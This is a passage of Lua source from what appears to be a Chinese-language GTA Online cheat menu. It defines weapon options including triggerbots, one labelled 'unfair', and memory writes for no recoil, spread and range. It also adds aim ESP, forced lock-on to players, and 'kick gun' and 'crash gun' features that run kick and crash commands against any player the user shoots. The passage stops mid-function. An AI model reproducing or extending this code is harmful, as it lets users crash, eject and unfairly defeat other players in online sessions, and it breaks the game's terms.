entityManipulation = GT(weapon_options, "实体操纵枪", {"emanipulation"}, "对玩家无效")
Gun_Effect_Shooting_Hit = GT(weapon_options, "武器特效", {}, "")
anti_aim_root = GT(weapon_options, "反瞄准", {"antiaim"}, "防止玩家瞄准射击您")
damage_numbers_list = GT(weapon_options, "伤害数字")
minecraftgun = GT(weapon_options, '我的世界枪', {}, '')
custom_weapon_save = GT(weapon_options, '武器保存', {}, '')
weaponsetting = GT(weapon_options, '武器设置', {}, '')
proxysticks = GT(weapon_options, '粘弹自动爆炸', {}, '')
weapon_thing = GT(weapon_options, "子弹类型", {}, "")
bulletchange()
throwables = GT(weapon_options, '投掷物发射器', {}, '')
zhunxin = GT(weapon_options, "准星", {}, "", function(); end)

anti_aim = false
GTTG(anti_aim_root, "反瞄准", {"antiaim"}, "防止玩家瞄准您,对大多数菜单无效", function(on)
    anti_aim = on
    mod_uses("player", if on then 1 else -1)
end)

anti_aim_notify = false
GTTG(anti_aim_root, "当我被瞄准时通知我", {""},  "", function(on)
    anti_aim_notify = on
end)

anti_aim_angle = 2
GTLuaScript.click_slider(anti_aim_root, "反瞄准角度", {"antiaimangle"}, "基本上是你周围的半径\n玩家必须瞄准这个半径", 0, 180, 2, 1, function(s)
    anti_aim_angle = s
end)

local anti_aim_type = 1
GTLuaScript.list_select(anti_aim_root, "反瞄准方法", {"antiaimmethod"}, "如何使用反瞄准",  anti_aim_types, 1, function(index)
    anti_aim_type = index
end)

triggerbot_root = GT(weapon_options, "扳机机器人", {}, "当您使用武器正在瞄准到某个目标时\n扳机机器人会帮助您的武器自动开火\n这允许您非常准确且快速地瞄准敌人")

GTLP(triggerbot_root, "扳机机器人", {"triggerbot"},  "当您使用武器正在瞄准到某个目标时\n扳机机器人会帮助您的武器自动开火\n这允许您非常准确且快速地瞄准敌人", function(on)
    trigger(on)
end)

GTLuaScript.click_slider(triggerbot_root, "射击镜头之间的延迟", {}, "每次 \"射击\" 之间的延迟", 10, 5000, 100, 1, function(s)
    triggerbot_delay = s
end)
    
    save_loadout = custom_weapon_save:action("保存武器", {}, "保存所有当前装备的武器及其附件，以便将来装载", function()
        Save_Weapon_Profile()
    end)

    load_loadout = custom_weapon_save:action("加载上次保存武器", {"loadloadout"}, "装备上次保存的每一件武器", function()
        Load_Out_Weapon()
    end)

    auto_load = custom_weapon_save:toggle("自动加载", {}, "加入新战局时，自动装备上次保存的每件武器", function(on)
        Auto_Load_Out_Weapon(on)
    end)

    from_scratch = custom_weapon_save:action("从头开始", {}, "删除你当前的武器，这样你就可以按照你想要的方式构建你的装备",function()
        Dele_All_Weapon()
    end)

    custom_weapon_save:divider("编辑武器")

    Weapon_Check_Save()


    GTLP(weaponsetting, '无后坐力', {'JSnoRecoil'}, '使用武器射击时不会抖动游戏画面.', function()
        gunpro()
    end, function()
        resetWeapons(modifiedRecoil)
    end)

    GTLP(weaponsetting, '无限范围', {'JSinfiniteRange'}, '', function()
        maxrange()
    end, function()
        for hash, _ in pairs(modifiedRange) do
            memory.write_float(modifiedRange[hash].minAddress, modifiedRange[hash].originalMin)
            memory.write_float(modifiedRange[hash].maxAddress, modifiedRange[hash].originalMax)
            memory.write_float(modifiedRange[hash].rangeAddress, modifiedRange[hash].originalRange)
            modifiedRange[hash] = nil
        end
    end)


    GTLP(weaponsetting, '无扩散', {'JSnoSpread'}, '', function()
        nospread()
    end, function()
        resetWeapons(modifiedSpread)
    end)

    GTLP(weaponsetting, '移除前摇', {'JSnoSpinUp'}, '移除加特林和寡妇制造者的前摇.', function()
        nospinup()
    end, function()
        for i = 1, #modifiedSpinup do
            if modifiedSpinup[i].address then
                memory.write_float(modifiedSpinup[i].address, 0.5)
            end
        end
    end)

    GTLP(weaponsetting, '子弹伤害修改', {'JSbulletForceMultiplier'}, '从正面射击载具时效果最佳.\n显示的值以百分比为单位.', function()
        damagemoded()
    end, function()
        resetWeapons(modifiedCarForce)
        resetWeapons(modifiedHeliForce)
        resetWeapons(modifiedPedForce)
    end)

    GTD(weaponsetting, '瞄准视野')

    GTLP(weaponsetting, '启用瞄准视野缩放', {'JSenableAimFov'}, '让您在瞄准时修改视野大小.', function()
        gunzoom()
    end, function()
        resetWeapons(modifiedAimFov)
    end)

    GTD(weaponsetting, '放大瞄准视野')

    GTLP(weaponsetting, '启用放大瞄准视野缩放', {'JSenableZoomFov'}, '让您在瞄准放大时修改视野大小.', function()
        enablezoomfov()
    end, function()
        resetWeapons(modifiedZoomFov)
    end)

    GTLuaScript.slider_float(weaponsetting, '放大瞄准视野', {'JSzoomAimFov'}, '', 100, 9999999999, 100, 1, function(value)
        zoomaimfov(value)
    end)

    GTLP(proxysticks, '粘弹自动爆炸', {'JSproxyStickys'}, '使您的粘弹在玩家或NPC附近时自动引爆.', function()
        proxyStickys()
    end)

    GTTG(proxysticks, '引爆附近的玩家', {'JSProxyStickyPlayers'}, '如果您的粘性炸弹在玩家附近时自动引爆.', function(toggle)
        proxyStickys_players(toggle)
    end, proxyStickySettings.players)

    GTTG(proxysticks, '引爆附近的NPC', {'JSProxyStickyNpcs'}, '如果您的粘性炸弹在NPC附近时自动引爆.', function(toggle)
        proxystickys_npc(toggle)
    end, proxyStickySettings.npcs)

    GTluaScript.slider(proxysticks, '爆炸半径', {'JSstickyRadius'}, '粘性炸弹必须离目标多近才会引爆.', 1, 10, proxyStickySettings.radius, 1, function(value)
        proxysticks_radius(value)
    end)

    GTAC(proxysticks, '移除所有粘性炸弹', {'JSremoveStickys'}, '移除所有存在的粘性炸弹(不仅仅是你的).', function()
        WEAPON.REMOVE_ALL_PROJECTILES_OF_TYPE(util.joaat('weapon_stickybomb'), false)
    end)

entity_control = GT(weapon_options, "实体控制枪", {}, "控制你所瞄准的实体")

GTLP(entity_control, "开启", {}, "", function()
    entitycontrol()
end)

GTAC(entity_control, "清除记录的实体", {}, "", function()
    clearcontrollog()
end)

GTD(entity_control, "实体控制")

--[[mutually_exclusive_weapons[#mutually_exclusive_weapons + 1] = GTluaScript.mutually_exclusive_toggle(nuke, '手枪核弹枪', {'JSnukeGun'}, '用手枪射出核弹', mutually_exclusive_weapons, function(toggle)
    nukegunmode6(toggle)
end)

mutually_exclusive_weapons[#mutually_exclusive_weapons + 1] = GTluaScript.mutually_exclusive_toggle(nuke, '海军左轮核弹枪', {'JSnukeGun'}, '用海军左轮手枪射出核弹', mutually_exclusive_weapons, function(toggle)
    nukegunmode1(toggle)
end)

mutually_exclusive_weapons[#mutually_exclusive_weapons + 1] = GTluaScript.mutually_exclusive_toggle(nuke, '0.5口径手枪核弹枪', {'JSnukeGun'}, '用0.5口径手枪射出核弹', mutually_exclusive_weapons, function(toggle)
    nukegunmode3(toggle)
end)

mutually_exclusive_weapons[#mutually_exclusive_weapons + 1] = GTluaScript.mutually_exclusive_toggle(nuke, '战斗手枪核弹枪', {'JSnukeGun'}, '用战斗手枪射出核弹', mutually_exclusive_weapons, function(toggle)
    nukegunmode4(toggle)
end)

mutually_exclusive_weapons[#mutually_exclusive_weapons + 1] = GTluaScript.mutually_exclusive_toggle(nuke, '陶瓷手枪核弹枪', {'JSnukeGun'}, '用陶瓷手枪射出核弹', mutually_exclusive_weapons, function(toggle)
    nukegunmode5(toggle)
end)

mutually_exclusive_weapons[#mutually_exclusive_weapons + 1] = GTluaScript.mutually_exclusive_toggle(nuke, '突击核弹枪', {'JSnukeGun'}, '用突击步枪射出核弹', mutually_exclusive_weapons, function(toggle)
    nukegunmode(toggle)
end)

mutually_exclusive_weapons[#mutually_exclusive_weapons + 1] = GTluaScript.mutually_exclusive_toggle(nuke, 'RPG核弹枪', {'JSnukeGun'}, '用火箭筒射出核弹', mutually_exclusive_weapons, function(toggle)
    nukegunmode2(toggle)
end)]]

GTAC(nuke, '核弹标记点', {'JSnukeWP'}, '掉落一颗核弹在您标记的位置.', function ()
    nukepoint()
end)

GTluaScript.slider(nuke, '核弹高度', {'JSnukeHeight'}, '投下核弹的高度.', 10, 100, nuke_height, 10, function(value)
    nukeheight(value)
end)

mutually_exclusive_weapons[#mutually_exclusive_weapons + 1] = GTluaScript.mutually_exclusive_toggle(throwables, '投掷物发射器', {'JSgrenade'}, '使榴弹发射器能够发射可选的投掷物.', mutually_exclusive_weapons, function(toggle)
    throwablebullet(toggle)
end)

local throwables_launcher_list throwables_launcher_list = GTLuaScript.list_action(throwables, '当前投掷物' ..': Grenade', {}, '选择榴弹发射器发射的投掷物.', getLabelTableFromKeys(throwablesTable), function(index, text)
    GTluaScript.set_menu_name(throwables_launcher_list, '当前投掷物' ..': '.. text)
    bulletset(text)
end)

GTLP(minecraftgun, '我的世界枪', {'JSminecraftGun'}, '当您射击时生成阻挡物.', function()
    xxxminecraftgun()
end)

GTAC(minecraftgun, '删除最后一个阻挡物', {'JSdeleteLastBlock'}, '', function()
    deleminecraftlastblock()
end)

GTAC(minecraftgun, '删除所有阻挡物', {'JSdeleteBlocks'}, '', function()
    deleallblock()
end)

Preview = {handle = 0, modelHash = 0}
Preview.__index = Preview

function Preview.new(modelHash)
	local self = setmetatable({}, Preview)
	self.modelHash = modelHash
	return self
end

function Preview:create(pos, heading)
	if self:exists() then return end
	self.handle = VEHICLE.CREATE_VEHICLE(self.modelHash, pos.x, pos.y, pos.z, heading, false, false, false)
	ENTITY.SET_ENTITY_ALPHA(self.handle, 153, true)
	ENTITY.SET_ENTITY_COLLISION(self.handle, false, false)
	ENTITY.SET_CAN_CLIMB_ON_ENTITY(self.handle, false)
end

function Preview:setRotation(rot)
	ENTITY.SET_ENTITY_ROTATION(self.handle, rot.x, rot.y, rot.z, 0, true)
end

function Preview:setCoords(pos)
	ENTITY.SET_ENTITY_COORDS_NO_OFFSET(self.handle, pos.x, pos.y, pos.z, false, false, false)
end

function Preview:destroy()
	entities.delete_by_handle(self.handle)
	self.handle = 0
end

function Preview:setOnGround()
	VEHICLE.SET_VEHICLE_ON_GROUND_PROPERLY(self.handle, 1.0)
end

function Preview:exists()
	return self.handle ~= 0 and ENTITY.DOES_ENTITY_EXIST(self.handle)
end

local vehicles <const> =
{
	"adder",
	"lazer",
	"insurgent2",
	"phantom2",
    "dune4",
    "chernobog",
    "tribike",
    "rhino",
    "oppressor2",
    "coach",
    "taxi"
}
local modelHash = util.joaat("adder")
local preview <const> = Preview.new(modelHash)
local setIntoVehicle = false
local maxDist <const> = 100.0
local minDist <const> = 15.0
local distancePerc = 0.0
local currentDistance = minDist
local lastInput <const> = newTimer()


function get_veh_distance()
	if PAD.IS_CONTROL_JUST_PRESSED(2, 241) and distancePerc < 1.0 then
		distancePerc = distancePerc + 0.25
		lastInput.reset()

	elseif PAD.IS_CONTROL_JUST_PRESSED(2, 242) and distancePerc > 0.0 then
		distancePerc = distancePerc - 0.25
		lastInput.reset()
	end
	local distance = interpolate(minDist, maxDist, distancePerc)
	local duration <const> = 200
	if currentDistance ~= distance and lastInput.elapsed() <= duration then
		currentDistance = interpolate(currentDistance, distance, lastInput.elapsed() / duration)
	end
	return currentDistance
end
local Cargun = "车枪"
GTLP(vehicleGun,Cargun, {}, "", function ()
	request_model(modelHash)
	local camRot = CAM.GET_GAMEPLAY_CAM_ROT(0)
	local distance = get_veh_distance()
	local raycast = get_raycast_result(distance + 5.0, TraceFlag.world)
	local coords = raycast.didHit and raycast.endCoords or get_offset_from_cam(distance)

	if not Config.general.disablepreview and
	PLAYER.IS_PLAYER_FREE_AIMING(players.user()) then
		if not preview:exists() then
			preview.modelHash = modelHash
			preview:create(coords, camRot.z)
		else
			preview:setCoords(coords)
			preview:setRotation(camRot)
			if raycast.didHit then preview:setOnGround() end
		end

		if Instructional:begin() then
			Instructional.add_control_group(29, "FM_AE_SORT_2")
			Instructional:set_background_colour(0, 0, 0, 80)
			Instructional:draw()
		end
	elseif preview:exists() then preview:destroy() end

	if PED.IS_PED_SHOOTING(players.user_ped()) then
		local veh = VEHICLE.CREATE_VEHICLE(modelHash, coords.x, coords.y, coords.z, camRot.z, true, true, false)
		NETWORK.SET_NETWORK_ID_EXISTS_ON_ALL_MACHINES(NETWORK.VEH_TO_NET(veh), true)
		ENTITY.SET_ENTITY_COORDS_NO_OFFSET(veh, coords.x, coords.y, coords.z, false, false, false)
		ENTITY.SET_ENTITY_ROTATION(veh, camRot.x, camRot.y, camRot.z, 0, true)
		VEHICLE.SET_VEHICLE_FORWARD_SPEED(veh, 200.0)
		if not setIntoVehicle then
			VEHICLE.SET_VEHICLE_DOORS_LOCKED(veh, 2)
		else
			VEHICLE.SET_VEHICLE_ENGINE_ON(veh, true, true, true)
			PED.SET_PED_INTO_VEHICLE(players.user_ped(), veh, -1)
		end
	end
end, function()
	if preview:exists() then preview:destroy() end
end)

function Instructional.add_control_group (index, name)
	local button = CC_PAD.GET_CONTROL_GROUP_INSTRUCTIONAL_BUTTONS_STRING(2, index, true)
    Instructional:add_data_slot(index, name, button)
end

local options_all <const> =  {{"灵蛇"}, {"天煞"}, {"叛乱分子"}, {"尖锥魅影"}, {"斜塔魔宝"}, {"导弹车"}, {"自行车"}, {"坦克"}, {"MK2"}, {"巴士"}, {"出租车"}}
local setshoot_other = "设置车枪"
GTLuaScript.list_select(vehicleGun,setshoot_other, {}, "", options_all, 1, function (opt)
	local vehicle = vehicles[opt]
	modelHash = util.joaat(vehicle)
end)

local Csound = "HintCamSounds"
local errmsg = "您输入的车辆英文名不正确 !"
local other_car = "其他车辆"
GTluaScript.text_input(vehicleGun,other_car, {"customvehgun"}, "", function(vehicle, click)
	if (click & CLICK_FLAG_AUTO) ~= 0 then
		return
	end
	if STREAMING.IS_MODEL_A_VEHICLE(util.joaat(vehicle)) then
		modelHash = util.joaat(vehicle)
	else notification:help(errmsg, HudColour.red) end
end)
local Entercar = "进入车辆"
GTTG(vehicleGun,Entercar, {}, "", function(toggle)
	setIntoVehicle = toggle
end)

local ent_types = {"没有", "行人", "载具", "实体"}
local function get_aim_info()
    local outptr = memory.alloc(4)
    local success = PLAYER.GET_ENTITY_PLAYER_IS_FREE_AIMING_AT(players.user(), outptr)
    local info = {}
    if success then
        local ent = memory.read_int(outptr)
        if not ENTITY.DOES_ENTITY_EXIST(ent) then
            info["ent"] = 0
        else
            info["ent"] = ent
        end
        if ENTITY.GET_ENTITY_TYPE(ent) == 1 then
            local veh = PED.GET_VEHICLE_PED_IS_IN(ent, false)
            if veh ~= 0 then
                if VEHICLE.GET_PED_IN_VEHICLE_SEAT(veh, -1) then
                    ent = veh
                    info['ent'] = ent
                end
            end
        end
        info["hash"] = ENTITY.GET_ENTITY_MODEL(ent)
        info["health"] = ENTITY.GET_ENTITY_HEALTH(ent)
        info["type"] = ent_types[ENTITY.GET_ENTITY_TYPE(ent)+1]
        info["speed"] = math.floor(ENTITY.GET_ENTITY_SPEED(ent))
    else
        info['ent'] = 0
    end
    return info
end

GTLP(damage_numbers_list, "伤害数字", {"damagenumbers"}, "", function()
    damage_numbers()
end)
GTTG(damage_numbers_list, "包括车辆", {"damagenumbersvehicles"}, "", function (value)
    damage_numbers_target_vehicles = value
end)
GTluaScript.slider(damage_numbers_list, "数字尺寸", {"damagenumberstextsize"}, "", 1, 100, 7, 1, function (value)
    damage_numbers_text_size = value * 0.1
end)
damage_numbers_colours_list = GT(damage_numbers_list, "颜色设置")
GTluaScript.rainbow(menu.colour(damage_numbers_colours_list, "默认颜色", {"damagenumcolour"}, "默认命中的颜色", damage_numbers_health_colour, true, function (value)
    damage_numbers_health_colour = value
end))
GTluaScript.rainbow(menu.colour(damage_numbers_colours_list, "暴击颜色", {"damagenumcritcolour"}, "暴击颜色", damage_numbers_crit_colour, true, function (value)
    damage_numbers_crit_colour = value
end))
GTluaScript.rainbow(menu.colour(damage_numbers_colours_list, "盔甲颜色", {"damagenumarmourcolour"}, "盔甲颜色", damage_numbers_armour_colour, true, function (value)
    damage_numbers_armour_colour = value
end))
GTluaScript.rainbow(menu.colour(damage_numbers_colours_list, "载具颜色", {"damagenumvehiclecolour"}, "载具颜色", damage_numbers_vehicle_colour, true, function (value)
    damage_numbers_vehicle_colour = value
end))

EntityManipulationHandleList = {}
GTD(entityManipulation, "实体操作")

GTLP(entityManipulation, "启用 (添加实体)", {}, "", function()
    if (PED.IS_PED_SHOOTING(GetLocalPed()) and PLAYER.IS_PLAYER_FREE_AIMING(players.user())) then
        local entityPointer = memory.alloc()

        if PLAYER.GET_ENTITY_PLAYER_IS_FREE_AIMING_AT(players.user(), entityPointer) then
            local entityHandle = memory.read_int(entityPointer)
            memory.free(entityPointer)

            if (DoesTableContainValue(EntityManipulationHandleList, entityHandle)) then util.toast("实体已在列表中!") return end
            EntityManipulationHandleList[#EntityManipulationHandleList+1] = entityHandle

            if (ENTITY.IS_ENTITY_A_PED(entityHandle) and PED.IS_PED_IN_ANY_VEHICLE(entityHandle, false)) then
                local veh = PED.GET_VEHICLE_PED_IS_IN(entityHandle, false)
                local mlistBufferVeh = makeListForEntity(entityManipulation, veh)
                funcsForEntity(EntityManipulationHandleList, mlistBufferVeh, veh)
            end

            local mListBuffer = makeListForEntity(entityManipulation, entityHandle)
            funcsForEntity(EntityManipulationHandleList, mListBuffer, entityHandle)

            util.create_tick_handler(function() return doesEntityExist(EntityManipulationHandleList, mListBuffer, entityHandle) end)
            if (SE_Notifications) then util.toast("添加实体!") end
        end
    end
end)

local weapon_thing = GT(weapon_options, "弹药类型", {}, "改变你的枪射出的子弹")
for id, data in weapon_stuff do
    local name = data[1]
    local weapon_name = data[2]
    local a = false
    GTTG(weapon_thing, name, {}, "", function(toggle)
        a = toggle
        while a do
            local weapon = util.joaat(weapon_name)
            projectile = weapon
            while not WEAPON.HAS_WEAPON_ASSET_LOADED(projectile) do
                WEAPON.REQUEST_WEAPON_ASSET(projectile, 31, false)
                wait(10)
            end
            local inst = v3.new()
            PLAYER.DISABLE_PLAYER_FIRING(players.user(), true) 
            if PAD.IS_DISABLED_CONTROL_PRESSED(0, 24) then
                if not WEAPON.GET_PED_LAST_WEAPON_IMPACT_COORD(PLAYER.PLAYER_PED_ID(), memory.addrof(inst)) then
                    v3.set(inst,CAM.GET_FINAL_RENDERED_CAM_ROT(2))
                    local tmp = v3.toDir(inst)
                    v3.set(inst, v3.get(tmp))
                    v3.mul(inst, 1000)
                    v3.set(tmp, CAM.GET_FINAL_RENDERED_CAM_COORD())
                    v3.add(inst, tmp)
                end
                local x, y, z = v3.get(inst)
                local wpEnt = WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(PLAYER.PLAYER_PED_ID(), false)
                local wpCoords = ENTITY.GET_ENTITY_BONE_POSTION(wpEnt, ENTITY.GET_ENTITY_BONE_INDEX_BY_NAME(wpEnt, "gun_muzzle"))
                MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(wpCoords.x, wpCoords.y, wpCoords.z, x, y, z, 1, true, weapon, PLAYER.PLAYER_PED_ID(), true, false, 1000.0)
            end
            wait()
        end
        local pos = players.get_position(players.user())
        MISC.CLEAR_AREA_OF_PROJECTILES(pos.x,pos.y,pos.z, 999999.0, 0)
    end)
end

local function raycast_gameplay_cam(flag, distance)
    local ptr1, ptr2, ptr3, ptr4 = memory.alloc(), memory.alloc(), memory.alloc(), memory.alloc()
    local cam_rot = CAM.GET_GAMEPLAY_CAM_ROT(0)
    local cam_pos = CAM.GET_GAMEPLAY_CAM_COORD()
    local direction = v3.toDir(cam_rot)
    local destination = 
    { 
        x = cam_pos.x + direction.x * distance, 
        y = cam_pos.y + direction.y * distance, 
        z = cam_pos.z + direction.z * distance 
    }
    SHAPETEST.GET_SHAPE_TEST_RESULT(
        SHAPETEST.START_EXPENSIVE_SYNCHRONOUS_SHAPE_TEST_LOS_PROBE(
            cam_pos.x, 
            cam_pos.y, 
            cam_pos.z, 
            destination.x, 
            destination.y, 
            destination.z, 
            flag, 
            players.user_ped(), 
            1
        ), ptr1, ptr2, ptr3, ptr4)
    local p1 = memory.read_int(ptr1)
    local p2 = memory.read_vector3(ptr2)
    local p3 = memory.read_vector3(ptr3)
    local p4 = memory.read_int(ptr4)
    return {p1, p2, p3, p4}
end


GTAC(wea_func, '获得所有武器', {""}, '', function (on)
GTluaScript.trigger_commands("allguns")
end)

GTAC(wea_func, '移除所有武器', {""}, '', function (on)
util.toast("移除所有武器 ...")
local curr_equipped_weapon = WEAPON.GET_SELECTED_PED_WEAPON(PLAYER.GET_PLAYER_PED(players.user()))
for key, value in pairs(attachments_table) do
WEAPON.REMOVE_WEAPON_COMPONENT_FROM_PED(PLAYER.GET_PLAYER_PED(players.user()), curr_equipped_weapon, key)
end
util.toast("搞定 :D")
end)



GTTG(wea_func, '夜视仪', {"nightvision"}, '', function (on)
if on then
GTluaScript.trigger_commands("nightvision on")
else
GTluaScript.trigger_commands("nightvision off")
end
end)

GTTG(wea_func, '导弹快速锁定', {""}, '', function (on)
if on then
GTluaScript.trigger_commands("instantlockon on")
else
GTluaScript.trigger_commands("instantlockon off")
end
end)

GTTG(wea_func, '热成像', {"thermalvision"}, '', function (on)
if on then
GTluaScript.trigger_commands("thermalvision on")
else
GTluaScript.trigger_commands("thermalvision off")
end
end)

GTTG(wea_func, '瞄准线', {"lasersights"}, '', function (on)
if on then
GTluaScript.trigger_commands("lasersights on")
else
GTluaScript.trigger_commands("lasersights off")
end
end)

GTLP(wea_func, '3D方框瞄准', {'_3d_crosshair'}, '', function()
    request_texture_dict_load('visualflow')
    local rc = raycast_gameplay_cam(-1, 8000.0)[2]
    local c = players.get_position(players.user())
    local dist = MISC.GET_DISTANCE_BETWEEN_COORDS(rc.x, rc.y, rc.z, c.x, c.y, c.z, false)
    local dir = v3.toDir(CAM.GET_GAMEPLAY_CAM_ROT(0))
    size = {}
    size.x = 0.5+(dist/50)
    size.y = 0.5+(dist/50)
    size.z = 0.5+(dist/50)
    GRAPHICS.DRAW_MARKER(3, rc.x, rc.y, rc.z, 0.0, 0.0, 0.0, 0.0, 90.0, 0.0, size.y, 1.0, size.x, 200, 255, 255, 100, false, true, 2, false, 'visualflow', 'crosshair')
end)

GTLP(wea_func, "自动开枪", {"triggerbotall"}, "", function()
    local wpn = WEAPON_SAVE_WEAPON.GET_SELECTED_PED_WEAPON(players.user_ped())
    local dmg = SYSTEM.ROUND(WEAPON.GET_WEAPON_DAMAGE(wpn, 0))
    local delay = WEAPON_SAVE_WEAPON.GET_WEAPON_TIME_BETWEEN_SHOTS(wpn)
    local wpnEnt = WEAPON_SAVE_WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(PLAYER.PLAYER_PED_ID(), false)
    local wpnCoords = ENTITY.GET_ENTITY_BONE_POSTION(wpnEnt, ENTITY.GET_ENTITY_BONE_INDEX_BY_NAME(wpnEnt, "gun_muzzle"))
    for _, pid in ipairs(players.list(false, true, true)) do
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        if ENTITY.GET_ENTITY_ALPHA(ped) < 255 then return end
        boneIndex = bones[math.random(#bones)]
        local pos = PED.GET_PED_BONE_COORDS(ped, boneIndex, 0.0, 0.0, 0.0)
        if PLAYER.IS_PLAYER_FREE_AIMING_AT_ENTITY(players.user(), ped) and not PED.IS_PED_RELOADING(players.user_ped()) then
            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(wpnCoords, pos, dmg, true, wpn, players.user_ped(), true, false)
            PAD.SET_CONTROL_VALUE_NEXT_FRAME(0, 24, 1.0) 
            wait(delay * 1000)
        end
    end
end)

GTLP(wea_func, "不公平的触发机器人", {"triggerbotall"}, "", function()
    local wpn = WEAPON_SAVE_WEAPON.GET_SELECTED_PED_WEAPON(players.user_ped())
    local dmg = SYSTEM.ROUND(WEAPON.GET_WEAPON_DAMAGE(wpn, 0))
    local delay = WEAPON_SAVE_WEAPON.GET_WEAPON_TIME_BETWEEN_SHOTS(wpn)
    local wpnEnt = WEAPON_SAVE_WEAPON.GET_CURRENT_PED_WEAPON_ENTITY_INDEX(PLAYER.PLAYER_PED_ID(), false)
    local wpnCoords = ENTITY.GET_ENTITY_BONE_POSTION(wpnEnt, ENTITY.GET_ENTITY_BONE_INDEX_BY_NAME(wpnEnt, "gun_muzzle"))
    for _, pid in ipairs(players.list(false, true, true)) do
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        if ENTITY.GET_ENTITY_ALPHA(ped) < 255 then return end
        boneIndex = bones[math.random(#bones)]
        local pos = PED.GET_PED_BONE_COORDS(ped, boneIndex, 0.0, 0.0, 0.0)
        if PLAYER.IS_PLAYER_FREE_AIMING_AT_ENTITY(players.user(), ped) and not PED.IS_PED_RELOADING(players.user_ped()) then
            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(wpnCoords, pos, dmg, true, wpn, players.user_ped(), true, false)
            PAD.SET_CONTROL_VALUE_NEXT_FRAME(0, 24, 1.0) 
            wait(delay * 1000)
        end
    end
end)

GTLP(Gun_Effect_Shooting_Hit, "开启", {"shootingfx"}, "", function ()
    shootingeffect()
end)

GTluaScript.slider_text(Gun_Effect_Shooting_Hit, "切换射击特效", {}, "", {"小丑木兹","小丑花"}, function (index)
	setshootingeffect(index)
end)

GTLP(wea_func, '喷火器', {'JSflamethrower'}, '将加特林变成火焰喷射器.', function()
    flamegun()
end)


GTLP(wea_func, "锁定玩家", {}, "允许您使用武装载具上的制导导弹发射器锁定玩家.", function()
    for _, pid in ipairs(players.list(true, true, true)) do
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        PLAYERJINX.ADD_PLAYER_TARGETABLE_ENTITY(players.user(), ped)
        ENTITY.SET_ENTITY_IS_TARGET_PRIORITY(ped, false, 400.0)    
    end
end, function()
    for _, pid in ipairs(players.list(true, true, true)) do
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        PLAYERJINX.REMOVE_PLAYER_TARGETABLE_ENTITY(players.user(), ped)
    end
end)

if menu.get_edition() > 1 then
    GTLP(wea_func, "瞄准时的透视", {"aimesp"}, "", function()
        if PLAYER.IS_PLAYER_FREE_AIMING(players.user()) then
            menu.trigger_command(menu.ref_by_path("World>Inhabitants>Player ESP>Bone ESP>Low Latency Rendering"))
        else
            menu.trigger_command(menu.ref_by_path("World>Inhabitants>Player ESP>Bone ESP>Disabled"))
        end
    end, function()
        menu.trigger_command(menu.ref_by_path("World>Inhabitants>Player ESP>Bone ESP>Disabled"))
    end)
end

for id, data in pairs(visual_stuff) do
    local visual_name = data[1]
    local visual_thing = data[2]
    local visual = false
    local visual_toggle
    visual_toggle = GTTG(visuals, visual_name, {""}, "", function(toggled)
        visual = toggled
        if not menu.get_value(visual_toggle) then
            GRAPHICS.ANIMPOSTFX_STOP_ALL()
        return end

        while visual do
            repeat
            GRAPHICS.SET_TIMECYCLE_MODIFIER(visual_thing)
            menu.trigger_commands("shader off")
            wait()
            until GRAPHICS.GET_TIMECYCLE_MODIFIER_INDEX() ~= 728
            wait()
        end
        GRAPHICS.SET_TIMECYCLE_MODIFIER("DEFAULT")
    end)
end 

GTLP(wea_func, "踢出枪", {"kickgun"}, "", function()
    local ent = get_aim_info()['ent']
    if PED.IS_PED_SHOOTING(players.user_ped()) then
        if ENTITY.IS_ENTITY_A_PED(ent) then
            if PED.IS_PED_A_PLAYER(ent) then
                local pid = NETWORK.NETWORK_GET_PLAYER_INDEX_FROM_PED(ent)
                if players.get_host() == pid then 
                    notification("您正试图踢出的玩家是主机")
                    return
                end
                menu.trigger_commands("kick" .. players.get_name(pid))
            end
        end
    end
end)

GTLP(wea_func, "崩溃枪", {"crashgun"}, "", function()
    local ent = get_aim_info()['ent']
    if PED.IS_PED_SHOOTING(players.user_ped()) then
        if ENTITY.IS_ENTITY_A_PED(ent) then
            if PED.IS_PED_A_PLAYER(ent) then
                local pid = NETWORK.NETWORK_GET_PLAYER_INDEX_FROM_PED(ent)
                menu.trigger_commands("crash" .. players.get_name(pid))
            end
        end
    end
end)

GTLP(wea_func, translate("Weapon", "传送枪"), {"tpgun"}, "", function()
	local raycastResult = get_raycast_result(1000.0)
	if  raycastResult.didHit and PED.IS_PED_SHOOTING(players.user_ped()) then
		local coords = raycastResult.endCoords
		if not PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), false) then
			coords.z = coords.z + 1.0
			set_entity_coords(players.user_ped(), coords)
		else
			local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
			local speed = ENTITY.GET_ENTITY_SPEED(vehicle)
			ENTITY.SET_ENTITY_COORDS(vehicle, coords.x, coords.y, coords.z, false, false, false, false)
			ENTITY.SET_ENTITY_HEADING(vehicle, CAM.GET_GAMEPLAY_CAM_ROT(0).z)
			VEHICLE.SET_VEHICLE_FORWARD_SPEED(vehicle, speed + 3.0)
		end
	end
end)

        GTLP(wea_func, "转换枪", {""}, "互换身份", function()
            local ent = get_aim_info()['ent']
            if PED.IS_PED_SHOOTING(players.user_ped()) then
                if ENTITY.IS_ENTITY_A_PED(ent) then
                    pos = ENTITY.GET_ENTITY_COORDS(ent, false)
                    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(players.user_ped(), pos.x, pos.y, pos.z, false, false, false)
                    if PED.IS_PED_A_PLAYER(ent) then
                        local pid = NETWORK.NETWORK_GET_PLAYER_INDEX_FROM_PED(ent)
                        menu.trigger_commands("copyoutfit " .. players.get_name(pid))
                    else
                    local soul = ENTITY.GET_ENTITY_MODEL(ent)
                    STREAMING.REQUEST_MODEL(soul)
                    while(not STREAMING.HAS_MODEL_LOADED(soul))
                    do
                    wait(10)
                        end
                    PLAYER.SET_PLAYER_MODEL(players.user(),soul)
                    STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(soul)
                    if not PED.IS_PED_A_PLAYER(ent) then
                        entities.delete_by_handle(ent)
                    end
                    wait(10)
